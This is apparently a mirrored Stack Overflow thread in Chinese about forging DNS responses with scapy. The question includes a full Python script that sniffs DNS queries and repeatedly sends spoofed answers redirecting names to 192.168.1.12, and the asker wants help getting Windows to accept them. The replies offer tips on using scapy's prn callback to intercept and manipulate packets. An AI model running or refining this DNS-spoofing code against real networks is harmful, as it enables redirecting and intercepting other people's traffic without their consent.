【问题标题】:Fake DNS response虚假的 DNS 响应
【发布时间】:2018-11-12 18:12:10
【问题描述】:

我想用 scapy 创建一个虚假的 dns 响应,但它不起作用...当我在 Wireshark 中嗅探数据包时,它显示数据包是正确的,但 Windows 只接受真正的响应数据包... 有人可以告诉我如何解决吗? 谢谢

import sys
i, o, e = sys.stdin, sys.stdout, sys.stderr
from scapy.all import *
sys.stdin, sys.stdout, sys.stderr = i, o, e
def f(packet):
    if DNS in packet and DNSQR in packet :
        return True
    return False
while True:
    a=sniff(lfilter=f,count=1)
    ip = a[0].getlayer(IP)
    dns = a[0].getlayer(DNS)
    pkt = Ether(dst = a[0][Ether].src, src = a[0][Ether].dst)/IP(dst=ip.src, src=ip.dst)/UDP(chksum=None, dport=ip.sport,sport=ip.dport)/DNS(qd=a[0][DNS].qd, qdcount=1, ancount=0, nscount=0, arcount=1, ra = 1, qr = 1, id=dns.id, an = (DNSRR(rrname=dns.qd.qname, type= "A" , ttl=3600, rdata="192.168.1.12")))
    pkt.show()
    for i in range(10):
        sendp(pkt)

【问题讨论】:

  • 也许真正的数据包来得比你的快?您是否比较了两个回复并发现了差异?

标签: python sockets dns response scapy


【解决方案1】:

你只是在嗅探数据包,如果你想操纵数据包,你应该将它们发送到一个函数,然后将它们转发到目的地。在 Sniff 中使用 prn 属性:

packets = sniff(filter="port 53" , prn=func , count=1) 
def func(packet):
    if packet.haslayer(UDP) and packet.haslayer(DNS):
         manipulate your DNS packet here then forward it

【讨论】:

  • “在此处操作您的 DNS 数据包然后转发它”正是代码在 while True 中所做的,sendp 正是发送数据包的函数...
  • 当您嗅探一个数据包并将其分配给一个变量时,这意味着您获取数据包的信息并将其发送到目的地,然后您将发送一个假的但使用 prn 并将数据包发送到函数你抓住原件并操纵原件。
  • @AliKargar 你的最后一条评论是错误的:情况非常相似,只是使用prn 使用相同的套接字实例,并且性能有所提高。
猜你喜欢
  • 2011-04-03
  • 2022-07-05
  • 2018-02-11
  • 2018-05-18
  • 2022-01-13
  • 2012-09-19
  • 2019-10-09
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多